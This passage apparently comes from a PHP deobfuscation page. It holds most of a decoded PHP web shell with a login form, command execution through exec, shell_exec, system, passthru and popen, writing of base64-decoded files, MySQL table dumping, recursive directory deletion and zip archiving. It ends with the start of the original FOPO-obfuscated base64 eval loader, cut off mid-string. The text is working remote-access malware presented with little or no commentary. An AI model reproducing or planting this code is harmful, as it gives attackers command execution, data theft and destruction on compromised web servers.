type="hidden" name="doing" value="login"><input type="submit" value="Login"></form><BR><?php echo "".$err_mess.""; ?><B><font color=red></div></fieldset></head></html><?php  exit; } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists("\x65\170\x65\143")) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists("\x73\150\x65\154\x6c\137\x65\170\x65\143")) { $res = @shell_exec($cfe); } elseif(function_exists("\x73\171\x73\164\x65\155")) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists("\x70\141\x73\163\x74\150\x72\165")) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"\x72"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function which($pr) { $path = execute("\x77\150\x69\143\x68\40$pr"); return ($path ? $path : $pr); } function cf($fname,$text){ if($fp=@fopen($fname,"\x77")) { @fputs($fp,base64_decode($text)); @fclose($fp); } } function debuginfo() { global $starttime; $mtime = explode("\x20", microtime()); $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); echo "\x50\162\x6f\143\x65\163\x73\145\x64\40\x69\156\x20".$totaltime."\x20\163\x65\143\x6f\156\x64\50\x73\51"; } function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport="\x33\63\x30\66") { if(!$link = @mysql_connect($dbhost."\x3a".$dbport, $dbuser, $dbpass)) { p("\x3c\150\x32\76\x43\141\x6e\40\x6e\157\x74\40\x63\157\x6e\156\x65\143\x74\40\x74\157\x20\115\x79\123\x51\114\x20\163\x65\162\x76\145\x72\74\x2f\150\x32\76"); exit; } if($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p("\x3c\150\x32\76\x44\141\x74\141\x62\141\x73\145\x20\163\x65\154\x65\143\x74\145\x64\40\x68\141\x73\40\x65\162\x72\157\x72\74\x2f\150\x32\76"); exit; } } if($link && mysql_get_server_info() > "\x34\56\x31") { if(in_array(strtolower($charset), array("\x67\142\x6b", "\x62\151\x67\65", "\x75\164\x66\70"))) { q("\x53\105\x54\40\x63\150\x61\162\x61\143\x74\145\x72\137\x73\145\x74\137\x63\157\x6e\156\x65\143\x74\151\x6f\156\x3d$charset\x2c\40\x63\150\x61\162\x61\143\x74\145\x72\137\x73\145\x74\137\x72\145\x73\165\x6c\164\x73\75$charset\x2c\40\x63\150\x61\162\x61\143\x74\145\x72\137\x73\145\x74\137\x63\154\x69\145\x6e\164\x3d\142\x69\156\x61\162\x79\73", $link); } } return $link; } function s_array(&$array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = s_array($v); } } else if (is_string($array)) { $array = stripslashes($array); } return $array; } function html_clean($content) { $content = htmlspecialchars($content); $content = str_replace("\n", "\x3c\142\x72\40\x2f\76", $content); $content = str_replace("\x20\40", "\x26\156\x62\163\x70\73\x26\156\x62\163\x70\73", $content); $content = str_replace("\t", "\x26\156\x62\163\x70\73\x26\156\x62\163\x70\73\x26\156\x62\163\x70\73\x26\156\x62\163\x70\73", $content); return $content; } function getChmod($filepath){ return substr(base_convert(@fileperms($filepath),10,8),-4); } function getPerms($filepath) { $mode = @fileperms($filepath); if (($mode & 0xC000) === 0xC000) {$type = "\x73";} elseif (($mode & 0x4000) === 0x4000) {$type = "\x64";} elseif (($mode & 0xA000) === 0xA000) {$type = "\x6c";} elseif (($mode & 0x8000) === 0x8000) {$type = "\x2d";} elseif (($mode & 0x6000) === 0x6000) {$type = "\x62";} elseif (($mode & 0x2000) === 0x2000) {$type = "\x63";} elseif (($mode & 0x1000) === 0x1000) {$type = "\x70";} else {$type = "\x3f";} $owner["\x72\145\x61\144"] = ($mode & 00400) ? "\x72" : "\x2d"; $owner["\x77\162\x69\164\x65"] = ($mode & 00200) ? "\x77" : "\x2d"; $owner["\x65\170\x65\143\x75\164\x65"] = ($mode & 00100) ? "\x78" : "\x2d"; $group["\x72\145\x61\144"] = ($mode & 00040) ? "\x72" : "\x2d"; $group["\x77\162\x69\164\x65"] = ($mode & 00020) ? "\x77" : "\x2d"; $group["\x65\170\x65\143\x75\164\x65"] = ($mode & 00010) ? "\x78" : "\x2d"; $world["\x72\145\x61\144"] = ($mode & 00004) ? "\x72" : "\x2d"; $world["\x77\162\x69\164\x65"] = ($mode & 00002) ? "\x77" : "\x2d"; $world["\x65\170\x65\143\x75\164\x65"] = ($mode & 00001) ? "\x78" : "\x2d"; if( $mode & 0x800 ) {$owner["\x65\170\x65\143\x75\164\x65"] = ($owner["\x65\170\x65\143\x75\164\x65"]=="\x78") ? "\x73" : "\x53";} if( $mode & 0x400 ) {$group["\x65\170\x65\143\x75\164\x65"] = ($group["\x65\170\x65\143\x75\164\x65"]=="\x78") ? "\x73" : "\x53";} if( $mode & 0x200 ) {$world["\x65\170\x65\143\x75\164\x65"] = ($world["\x65\170\x65\143\x75\164\x65"]=="\x78") ? "\x74" : "\x54";} return $type.$owner["\x72\145\x61\144"].$owner["\x77\162\x69\164\x65"].$owner["\x65\170\x65\143\x75\164\x65"].$group["\x72\145\x61\144"].$group["\x77\162\x69\164\x65"].$group["\x65\170\x65\143\x75\164\x65"].$world["\x72\145\x61\144"].$world["\x77\162\x69\164\x65"].$world["\x65\170\x65\143\x75\164\x65"]; } function getUser($filepath) { if (function_exists("\x70\157\x73\151\x78\137\x67\145\x74\160\x77\165\x69\144")) { $array = @posix_getpwuid(@fileowner($filepath)); if ($array && is_array($array)) { return "\x20\57\x20\74\x61\40\x68\162\x65\146\x3d\42\x23\42\x20\164\x69\164\x6c\145\x3d\42\x55\163\x65\162\x3a\40".$array["\x6e\141\x6d\145"]."\x26\43\x31\63\x26\43\x31\60\x50\141\x73\163\x77\144\x3a\40".$array["\x70\141\x73\163\x77\144"]."\x26\43\x31\63\x26\43\x31\60\x55\151\x64\72\x20".$array["\x75\151\x64"]."\x26\43\x31\63\x26\43\x31\60\x67\151\x64\72\x20".$array["\x67\151\x64"]."\x26\43\x31\63\x26\43\x31\60\x47\145\x63\157\x73\72\x20".$array["\x67\145\x63\157\x73"]."\x26\43\x31\63\x26\43\x31\60\x44\151\x72\72\x20".$array["\x64\151\x72"]."\x26\43\x31\63\x26\43\x31\60\x53\150\x65\154\x6c\72\x20".$array["\x73\150\x65\154\x6c"]."\x22\76".$array["\x6e\141\x6d\145"]."\x3c\57\x61\76"; } } return ''; } function deltree($deldir) { $mydir=@dir($deldir); while($file=$mydir->read()) { if((is_dir($deldir."\x2f".$file)) && ($file!="\x2e") && ($file!="\x2e\56")) { @chmod($deldir."\x2f".$file,0777); deltree($deldir."\x2f".$file); } if (is_file($deldir."\x2f".$file)) { @chmod($deldir."\x2f".$file,0777); @unlink($deldir."\x2f".$file); } } $mydir->close(); @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0; } function bg() { global $bgc; return ($bgc++%2==0) ? "\x61\154\x74\61" : "\x61\154\x74\62"; } function getPath($scriptpath, $nowpath) { if ($nowpath == "\x2e") { $nowpath = $scriptpath; } $nowpath = str_replace("\\", "\x2f", $nowpath); $nowpath = str_replace('//', "\x2f", $nowpath); if (substr($nowpath, -1) != "\x2f") { $nowpath = $nowpath."\x2f"; } return $nowpath; } function getUpPath($nowpath) { $pathdb = explode("\x2f", $nowpath); $num = count($pathdb); if ($num > 2) { unset($pathdb[$num-1],$pathdb[$num-2]); } $uppath = implode("\x2f", $pathdb)."\x2f"; $uppath = str_replace('//', "\x2f", $uppath); return $uppath; } function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return "\x4e\157"; } elseif ($result == 1) { return "\x59\145\x73"; } else { return $result; } } function getfun($funName) { return (false !== function_exists($funName)) ? "\x59\145\x73" : "\x4e\157"; } function GetList($dir){ global $dirdata,$j,$nowpath; !$j && $j=1; if ($dh = opendir($dir)) { while ($file = readdir($dh)) { $f=str_replace('//',"\x2f",$dir."\x2f".$file); if($file!="\x2e" && $file!="\x2e\56" && is_dir($f)){ if (is_writable($f)) { $dirdata[$j]["\x66\151\x6c\145\x6e\141\x6d\145"]=str_replace($nowpath,'',$f); $dirdata[$j]["\x6d\164\x69\155\x65"]=@date("\x59\55\x6d\55\x64\40\x48\72\x69\72\x73",filemtime($f)); $dirdata[$j]["\x64\151\x72\143\x68\155\x6f\144"]=getChmod($f); $dirdata[$j]["\x64\151\x72\160\x65\162\x6d"]=getPerms($f); $dirdata[$j]["\x64\151\x72\154\x69\156\x6b"]=ue($dir); $dirdata[$j]["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]=$f; $dirdata[$j]["\x63\154\x69\145\x6e\164\x5f\154\x69\156\x6b"]=ue($f); $j++; } GetList($f); } } closedir($dh); clearstatcache(); return $dirdata; } else { return array(); } } function qy($sql) { $res = $error = ''; if(!$res = @mysql_query($sql)) { return 0; } else if(is_resource($res)) { return 1; } else { return 2; } return 0; } function q($sql) { return @mysql_query($sql); } function fr($qy){ mysql_free_result($qy); } function sizecount($size) { if($size > 1073741824) { $size = round($size / 1073741824 * 100) / 100 . "\x20\107"; } elseif($size > 1048576) { $size = round($size / 1048576 * 100) / 100 . "\x20\115"; } elseif($size > 1024) { $size = round($size / 1024 * 100) / 100 . "\x20\113"; } else { $size = $size . "\x20\102"; } return $size; } class PHPZip{ var $out=''; function PHPZip($dir) { if (@function_exists("\x67\172\x63\157\x6d\160\x72\145\x73\163")) { $curdir = getcwd(); if (is_array($dir)) $filelist = $dir; else{ $filelist=$this -> GetFileList($dir); foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); } if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); else chdir($curdir); if (count($filelist)>0){ foreach($filelist as $filename){ if (is_file($filename)){ $fd = fopen ($filename, "\x72"); $content = @fread ($fd, filesize($filename)); fclose ($fd); if (is_array($dir)) $filename = basename($filename); $this -> addFile($content, $filename); } } $this->out = $this -> file(); chdir($curdir); } return 1; } else return 0; } function GetFileList($dir){ static $a; if (is_dir($dir)) { if ($dh = opendir($dir)) { while ($file = readdir($dh)) { if($file!="\x2e" && $file!="\x2e\56"){ $f=$dir ."\x2f". $file; if(is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\113\x5\6\x0\0\x0\0"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray["\x79\145\x61\162"] < 1980) { $timearray["\x79\145\x61\162"] = 1980; $timearray["\x6d\157\x6e"] = 1; $timearray["\x6d\144\x61\171"] = 1; $timearray["\x68\157\x75\162\x73"] = 0; $timearray["\x6d\151\x6e\165\x74\145\x73"] = 0; $timearray["\x73\145\x63\157\x6e\144\x73"] = 0; } return (($timearray["\x79\145\x61\162"] - 1980) << 25) | ($timearray["\x6d\157\x6e"] << 21) | ($timearray["\x6d\144\x61\171"] << 16) | ($timearray["\x68\157\x75\162\x73"] << 11) | ($timearray["\x6d\151\x6e\165\x74\145\x73"] << 5) | ($timearray["\x73\145\x63\157\x6e\144\x73"] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace("\\", "\x2f", $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = "\x5c\170" . $dtime[6] . $dtime[7] . "\x5c\170" . $dtime[4] . $dtime[5] . "\x5c\170" . $dtime[2] . $dtime[3] . "\x5c\170" . $dtime[0] . $dtime[1]; eval("\x24\150\x65\170\x64\164\x69\155\x65\40\x3d\40\x22" . $hexdtime . "\x22\73"); $fr = "\x50\113\x3\4"; $fr .= "\x14\0"; $fr .= "\x0\0"; $fr .= "\x8\0"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c_len = strlen($zdata); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr .= pack("\x56", $crc); $fr .= pack("\x56", $c_len); $fr .= pack("\x56", $unc_len); $fr .= pack("\x76", strlen($name)); $fr .= pack("\x76", 0); $fr .= $name; $fr .= $zdata; $fr .= pack("\x56", $crc); $fr .= pack("\x56", $c_len); $fr .= pack("\x56", $unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode('', $this->datasec)); $cdrec = "\x50\113\x1\2"; $cdrec .= "\x0\0"; $cdrec .= "\x14\0"; $cdrec .= "\x0\0"; $cdrec .= "\x8\0"; $cdrec .= $hexdtime; $cdrec .= pack("\x56", $crc); $cdrec .= pack("\x56", $c_len); $cdrec .= pack("\x56", $unc_len); $cdrec .= pack("\x76", strlen($name) ); $cdrec .= pack("\x76", 0 ); $cdrec .= pack("\x76", 0 ); $cdrec .= pack("\x76", 0 ); $cdrec .= pack("\x76", 0 ); $cdrec .= pack("\x56", 32 ); $cdrec .= pack("\x56", $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack("\x76", sizeof($this -> ctrl_dir)) . pack("\x76", sizeof($this -> ctrl_dir)) . pack("\x56", strlen($ctrldir)) . pack("\x56", strlen($data)) . "\x0\0"; } } function sqldumptable($table, $fp=0) { $tabledump = "\x44\122\x4f\120\x20\124\x41\102\x4c\105\x20\111\x46\40\x45\130\x49\123\x54\123\x20$table\x3b\n"; $tabledump .= "\x43\122\x45\101\x54\105\x20\124\x41\102\x4c\105\x20$table\x20\50\n"; $firstfield=1; $fields = q("\x53\110\x4f\127\x20\106\x49\105\x4c\104\x53\40\x46\122\x4f\115\x20$table"); while ($field = mysql_fetch_array($fields)) { if (!$firstfield) { $tabledump .= "\x2c\n"; } else { $firstfield=0; } $tabledump .= "\x20\40\x20$field[Field]\x20$field[Type]"; if (!empty($field["\x44\145\x66\141\x75\154\x74"])) { $tabledump .= "\x20\104\x45\106\x41\125\x4c\124\x20\47$field[Default]\x27"; } if ($field["\x4e\165\x6c\154"] != "\x59\105\x53") { $tabledump .= "\x20\116\x4f\124\x20\116\x55\114\x4c"; } if ($field["\x45\170\x74\162\x61"] != "") { $tabledump .= "\x20$field[Extra]"; } } fr($fields); $keys = q("\x53\110\x4f\127\x20\113\x45\131\x53\40\x46\122\x4f\115\x20$table"); while ($key = mysql_fetch_array($keys)) { $kname=$key["\x4b\145\x79\137\x6e\141\x6d\145"]; if ($kname != "\x50\122\x49\115\x41\122\x59" && $key["\x4e\157\x6e\137\x75\156\x69\161\x75\145"] == 0) { $kname="\x55\116\x49\121\x55\105\x7c$kname"; } if(!is_array($index[$kname])) { $index[$kname] = array(); } $index[$kname][] = $key["\x43\157\x6c\165\x6d\156\x5f\156\x61\155\x65"]; } fr($keys); while(list($kname, $columns) = @each($index)) { $tabledump .= "\x2c\n"; $colnames=implode($columns,"\x2c"); if ($kname == "\x50\122\x49\115\x41\122\x59") { $tabledump .= "\x20\40\x20\120\x52\111\x4d\101\x52\131\x20\113\x45\131\x20\50$colnames\x29"; } else { if (substr($kname,0,6) == "\x55\116\x49\121\x55\105") { $kname=substr($kname,7); } $tabledump .= "\x20\40\x20\113\x45\131\x20$kname\x20\50$colnames\x29"; } } $tabledump .= "\n\x29\73\n\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } $rows = q("\x53\105\x4c\105\x43\124\x20\52\x20\106\x52\117\x4d\40$table"); $numfields = mysql_num_fields($rows); while ($row = mysql_fetch_array($rows)) { $tabledump = "\x49\116\x53\105\x52\124\x20\111\x4e\124\x4f\40$table\x20\126\x41\114\x55\105\x53\50"; $fieldcounter=-1; $firstfield=1; while (++$fieldcounter<$numfields) { if (!$firstfield) { $tabledump.="\x2c\40"; } else { $firstfield=0; } if (!isset($row[$fieldcounter])) { $tabledump .= "\x4e\125\x4c\114"; } else { $tabledump .= "\x27".mysql_escape_string($row[$fieldcounter])."\x27"; } } $tabledump .= "\x29\73\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } } fr($rows); if ($fp) { fwrite($fp,"\n"); } else { echo "\n"; } } function ue($str){ return urlencode($str); } function p($str){ echo $str."\n"; } function tbhead() { p("\x3c\164\x61\142\x6c\145\x20\167\x69\144\x74\150\x3d\42\x31\60\x30\45\x22\40\x62\157\x72\144\x65\162\x3d\42\x30\42\x20\143\x65\154\x6c\160\x61\144\x64\151\x6e\147\x3d\42\x34\42\x20\143\x65\154\x6c\163\x70\141\x63\151\x6e\147\x3d\42\x30\42\x3e"); } function tbfoot(){ p("\x3c\57\x74\141\x62\154\x65\76"); } function makehide($name,$value=''){ p("\x3c\151\x6e\160\x75\164\x20\151\x64\75\"$name\"\x20\164\x79\160\x65\75\"\x68\151\x64\144\x65\156\"\x20\156\x61\155\x65\75\"$name\"\x20\166\x61\154\x75\145\x3d\"$value\"\x20\57\x3e"); } function makeinput($arg = array()){ $arg["\x73\151\x7a\145"] = $arg["\x73\151\x7a\145"] > 0 ? "\x73\151\x7a\145\x3d\"$arg[size]\"" : "\x73\151\x7a\145\x3d\"\61\x30\60\""; $arg["\x65\170\x74\162\x61"] = $arg["\x65\170\x74\162\x61"] ? $arg["\x65\170\x74\162\x61"] : ''; !$arg["\x74\171\x70\145"] && $arg["\x74\171\x70\145"] = "\x74\145\x78\164"; $arg["\x74\151\x74\154\x65"] = $arg["\x74\151\x74\154\x65"] ? $arg["\x74\151\x74\154\x65"]."\x3c\142\x72\40\x2f\76" : ''; $arg["\x63\154\x61\163\x73"] = $arg["\x63\154\x61\163\x73"] ? $arg["\x63\154\x61\163\x73"] : "\x69\156\x70\165\x74"; if ($arg["\x6e\145\x77\154\x69\156\x65"]) { p("\x3c\160\x3e$arg[title]\x3c\151\x6e\160\x75\164\x20\143\x6c\141\x73\163\x3d\"$arg[class]\"\x20\156\x61\155\x65\75\"$arg[name]\"\x20\151\x64\75\"$arg[name]\"\x20\166\x61\154\x75\145\x3d\"$arg[value]\"\x20\164\x79\160\x65\75\"$arg[type]\"\x20$arg[size]\x20$arg[extra]\x20\57\x3e\74\x2f\160\x3e"); } else { p("$arg[title]\x3c\151\x6e\160\x75\164\x20\143\x6c\141\x73\163\x3d\"$arg[class]\"\x20\156\x61\155\x65\75\"$arg[name]\"\x20\151\x64\75\"$arg[name]\"\x20\166\x61\154\x75\145\x3d\"$arg[value]\"\x20\164\x79\160\x65\75\"$arg[type]\"\x20$arg[size]\x20$arg[extra]\x20\57\x3e"); } } function makeselect($arg = array()){ if ($arg["\x6f\156\x63\150\x61\156\x67\145"]) { $onchange = "\x6f\156\x63\150\x61\156\x67\145\x3d\42".$arg["\x6f\156\x63\150\x61\156\x67\145"]."\x22"; } $arg["\x74\151\x74\154\x65"] = $arg["\x74\151\x74\154\x65"] ? $arg["\x74\151\x74\154\x65"] : ''; if ($arg["\x6e\145\x77\154\x69\156\x65"]) p("\x3c\160\x3e"); p("$arg[title]\x20\74\x73\145\x6c\145\x63\164\x20\143\x6c\141\x73\163\x3d\"\151\x6e\160\x75\164\"\x20\151\x64\75\"$arg[name]\"\x20\156\x61\155\x65\75\"$arg[name]\"\x20$onchange\x3e"); if (is_array($arg["\x6f\160\x74\151\x6f\156"])) { foreach ($arg["\x6f\160\x74\151\x6f\156"] as $key=>$value) { if ($arg["\x73\145\x6c\145\x63\164\x65\144"]==$key) { p("\x3c\157\x70\164\x69\157\x6e\40\x76\141\x6c\165\x65\75\"$key\"\x20\163\x65\154\x65\143\x74\145\x64\76$value\x3c\57\x6f\160\x74\151\x6f\156\x3e"); } else { p("\x3c\157\x70\164\x69\157\x6e\40\x76\141\x6c\165\x65\75\"$key\"\x3e$value\x3c\57\x6f\160\x74\151\x6f\156\x3e"); } } } p("\x3c\57\x73\145\x6c\145\x63\164\x3e"); if ($arg["\x6e\145\x77\154\x69\156\x65"]) p("\x3c\57\x70\76"); } function formhead($arg = array()) { !$arg["\x6d\145\x74\150\x6f\144"] && $arg["\x6d\145\x74\150\x6f\144"] = "\x70\157\x73\164"; !$arg["\x61\143\x74\151\x6f\156"] && $arg["\x61\143\x74\151\x6f\156"] = $self; $arg["\x74\141\x72\147\x65\164"] = $arg["\x74\141\x72\147\x65\164"] ? "\x74\141\x72\147\x65\164\x3d\"$arg[target]\"" : ''; !$arg["\x6e\141\x6d\145"] && $arg["\x6e\141\x6d\145"] = "\x66\157\x72\155\x31"; p("\x3c\146\x6f\162\x6d\40\x6e\141\x6d\145\x3d\"$arg[name]\"\x20\151\x64\75\"$arg[name]\"\x20\141\x63\164\x69\157\x6e\75\"$arg[action]\"\x20\155\x65\164\x68\157\x64\75\"$arg[method]\"\x20$arg[target]\x3e"); if ($arg["\x74\151\x74\154\x65"]) { p("\x3c\150\x32\76".$arg["\x74\151\x74\154\x65"]."\x20\46\x72\141\x71\165\x6f\73\x3c\57\x68\62\x3e"); } } function maketext($arg = array()){ !$arg["\x63\157\x6c\163"] && $arg["\x63\157\x6c\163"] = 100; !$arg["\x72\157\x77\163"] && $arg["\x72\157\x77\163"] = 25; $arg["\x74\151\x74\154\x65"] = $arg["\x74\151\x74\154\x65"] ? $arg["\x74\151\x74\154\x65"]."\x3c\142\x72\40\x2f\76" : ''; p("\x3c\160\x3e$arg[title]\x3c\164\x65\170\x74\141\x72\145\x61\40\x63\154\x61\163\x73\75\"\x61\162\x65\141\"\x20\151\x64\75\"$arg[name]\"\x20\156\x61\155\x65\75\"$arg[name]\"\x20\143\x6f\154\x73\75\"$arg[cols]\"\x20\162\x6f\167\x73\75\"$arg[rows]\"\x20$arg[extra]\x3e$arg[value]\x3c\57\x74\145\x78\164\x61\162\x65\141\x3e\74\x2f\160\x3e"); } function formfooter($name = ''){ !$name && $name = "\x73\165\x62\155\x69\164"; p("\x3c\160\x3e\74\x69\156\x70\165\x74\40\x63\154\x61\163\x73\75\x22\142\x74\42\x20\156\x61\155\x65\75\x22".$name."\x22\40\x69\144\x3d\"".$name."\"\x20\164\x79\160\x65\75\x22\163\x75\142\x6d\151\x74\42\x20\166\x61\154\x75\145\x3d\42\x53\165\x62\155\x69\164\x22\76\x3c\57\x70\76"); p("\x3c\57\x66\157\x72\155\x3e"); } function formfoot(){ p("\x3c\57\x66\157\x72\155\x3e"); } function pr($a) { echo "\x3c\160\x72\145\x3e"; print_r($a); echo "\x3c\57\x70\162\x65\76"; } ?>

Did this file decode correctly?

Original Code

<?php
//Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.com.ar
$s6a828eadc04="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($s6a828eadc04(
"JHk3NDI3MzVlN2ZhNzZkZjgxOThjZDdmNTdlMjJiMjFkPSJceDYyIjskY2E0YTE2OGI4YjI0YzZmN2Q4OWViN2J
lYjVhY2U0ZDE9Ilx4NjUiOyRrZjFlNmY2YjJmNWRiMTM3ZGVmZjc2MDI1NWE1NGNhZj0iXHg2NiI7JHlkY2I5ZjR
mYzg0M2FjNzY1NTFiNzdlNmQwMGQzOTM2PSJceDY3IjskbTljNGE2YTQ2NzczYTg2NzBmZWU4ZDUyY2YwMzNkMmY
9Ilx4NmQiOyRnZjdlYjk4MTM1NjNjNjNlMzc0YzY4MDYxYWNlNDc2Yj0iXHg2ZiI7JGg5ODEwMmMwYTc2NzdjMjI
2YjAxNjU0ODMyMGQzOTgxPSJceDZmIjskbDUwNWI1YjE2NmI3ODQzNGQ2NzM4MWVjNDFiYjBjZTM9Ilx4NmYiOyR
nMTYwNGIxOTEwNjE0Y2E2ZTBmMTI4NmYxODhhY2U0Mj0iXHg2ZiI7JG1mMjNjZjg3YjRhN2ViNmJiNDdjMGUxZGY
yYWQ2ZDliPSJceDczIjskcjIwMzBjYTI3MjE3NTMxYjBlNDNkZjhkMGJjN2ViZjU9Ilx4NzMiOyRwOWViNzQ3NTE
zYjg2YjM2NTIxMTAxZDFkMDU5NTAyZD0iXHg3MyI7JHc3MmRmYjkzNDc0OWQ5MGZhZDhhZTNhNzk4MTI4YmZmPSJ
ceDczIjskeTc0MjczNWU3ZmE3NmRmODE5OGNkN2Y1N2UyMmIyMWQuPSJcMTQxIjskY2E0YTE2OGI4YjI0YzZmN2Q
4OWViN2JlYjVhY2U0ZDEuPSJcMTYyIjska2YxZTZmNmIyZjVkYjEzN2RlZmY3NjAyNTVhNTRjYWYuPSJcMTUxIjs
keWRjYjlmNGZjODQzYWM3NjU1MWI3N2U2ZDAwZDM5MzYuPSJcMTcyIjskbTljNGE2YTQ2NzczYTg2NzBmZWU4ZDU
yY2YwMzNkMmYuPSJcMTQ0IjskZ2Y3ZWI5ODEzNTYzYzYzZTM3NGM2ODA2MWFjZTQ3NmIuPSJcMTQyIjskaDk4MTA
yYzBhNzY3N2MyMjZiMDE2NTQ4MzIwZDM5ODEuPSJcMTQyIjskbDUwNWI1YjE2NmI3ODQzNGQ2NzM4MWVjNDFiYjB
jZTMuPSJcMTQyIjskZzE2MDRiMTkxMDYxNGNhNmUwZjEyODZmMTg4YWNlNDIuPSJcMTQyIjskbWYyM2NmODdiNGE
3ZWI2YmI0N2MwZTFkZjJhZDZkOWIuPSJcMTY0IjskcjIwMzBjYTI3MjE3NTMxYjBlNDNkZjhkMGJjN2ViZjUuPSJ
cMTY0IjskcDllYjc0NzUxM2I4NmIzNjUyMTEwMWQxZDA1OTUwMmQuPSJcMTY0IjskdzcyZGZiOTM0NzQ5ZDkwZmF
kOGFlM2E3OTgxMjhiZmYuPSJcMTY0IjskeTc0MjczNWU3ZmE3NmRmODE5OGNkN2Y1N2UyMmIyMWQuPSJceDczIjs
kY2E0YTE2OGI4YjI0YzZmN2Q4OWViN2JlYjVhY2U0ZDEuPSJceDY1Ijska2YxZTZmNmIyZjVkYjEzN2RlZmY3NjA
yNTVhNTRjYWYuPSJceDZjIjskeWRjYjlmNGZjODQzYWM3NjU1MWI3N2U2ZDAwZDM5MzYuPSJceDY5IjskbTljNGE
2YTQ2NzczYTg2NzBmZWU4ZDUyY2YwMzNkMmYuPSJceDM1IjskZ2Y3ZWI5ODEzNTYzYzYzZTM3NGM2ODA2MWFjZTQ
3NmIuPSJceDVmIjskaDk4MTAyYzBhNzY3N2MyMjZiMDE2NTQ4MzIwZDM5ODEuPSJceDVmIjskbDUwNWI1YjE2NmI
3ODQzNGQ2NzM4MWVjNDFiYjBjZTMuPSJceDVmIjskZzE2MDRiMTkxMDYxNGNhNmUwZjEyODZmMTg4YWNlNDIuPSJ
ceDVmIjskbWYyM2NmODdiNGE3ZWI2YmI0N2MwZTFkZjJhZDZkOWIuPSJceDcyIjskcjIwMzBjYTI3MjE3NTMxYjB
lNDNkZjhkMGJjN2ViZjUuPSJceDcyIjskcDllYjc0NzUxM2I4NmIzNjUyMTEwMWQxZDA1OTUwMmQuPSJceDcyIjs
kdzcyZGZiOTM0NzQ5ZDkwZmFkOGFlM2E3OTgxMjhiZmYuPSJceDcyIjskeTc0MjczNWU3ZmE3NmRmODE5OGNkN2Y
1N2UyMmIyMWQuPSJcMTQ1IjskY2E0YTE2OGI4YjI0YzZmN2Q4OWViN2JlYjVhY2U0ZDEuPSJcMTQ3Ijska2YxZTZ
mNmIyZjVkYjEzN2RlZmY3NjAyNTVhNTRjYWYuPSJcMTQ1IjskeWRjYjlmNGZjODQzYWM3NjU1MWI3N2U2ZDAwZDM
5MzYuPSJcMTU2IjskZ2Y3ZWI5ODEzNTYzYzYzZTM3NGM2ODA2MWFjZTQ3NmIuPSJcMTQ1IjskaDk4MTAyYzBhNzY
3N2MyMjZiMDE2NTQ4MzIwZDM5ODEuPSJcMTQ1IjskbDUwNWI1YjE2NmI3ODQzNGQ2NzM4MWVjNDFiYjBjZTMuPSJ
cMTQ3IjskZzE2MDRiMTkxMDYxNGNhNmUwZjEyODZmMTg4YWNlNDIuPSJcMTYzIjskbWYyM2NmODdiNGE3ZWI2YmI
0N2MwZTFkZjJhZDZkOWIuPSJcMTM3IjskcjIwMzBjYTI3MjE3NTMxYjBlNDNkZjhkMGJjN2ViZjUuPSJcMTM3Ijs
kcDllYjc0NzUxM2I4NmIzNjUyMTEwMWQxZDA1OTUwMmQuPSJcMTYwIjskdzcyZGZiOTM0NzQ5ZDkwZmFkOGFlM2E
3OTgxMjhiZmYuPSJcMTY0IjskeTc0MjczNWU3ZmE3NmRmODE5OGNkN2Y1N2UyMmIyMWQuPSJceDM2IjskY2E0YTE
2OGI4YjI0YzZmN2Q4OWViN2JlYjVhY2U0ZDEuPSJceDVmIjska2YxZTZmNmIyZjVkYjEzN2RlZmY3NjAyNTVhNTR
jYWYuPSJceDVmIjskeWRjYjlmNGZjODQzYWM3NjU1MWI3N2U2ZDAwZDM5MzYuPSJceDY2IjskZ2Y3ZWI5ODEzNTY
zYzYzZTM3NGM2ODA2MWFjZTQ3NmIuPSJceDZlIjskaDk4MTAyYzBhNzY3N2MyMjZiMDE2NTQ4MzIwZDM5ODEuPSJ
ceDZlIjskbDUwNWI1YjE2NmI3ODQzNGQ2NzM4MWVjNDFiYjBjZTMuPSJceDY1IjskZzE2MDRiMTkxMDYxNGNhNmU
wZjEyODZmMTg4YWNlNDIuPSJceDc0IjskbWYyM2NmODdiNGE3ZWI2YmI0N2MwZTFkZjJhZDZkOWIuPSJceDcyIjs
kcjIwMzBjYTI3MjE3NTMxYjBlNDNkZjhkMGJjN2ViZjUuPSJceDcyIjskcDllYjc0NzUxM2I4NmIzNjUyMTEwMWQ
xZDA1OTUwMmQuPSJceDZmIjskdzcyZGZiOTM0NzQ5ZDkwZmFkOGFlM2E3OTgxMjhiZmYuPSJceDZmIjskeTc0Mjc
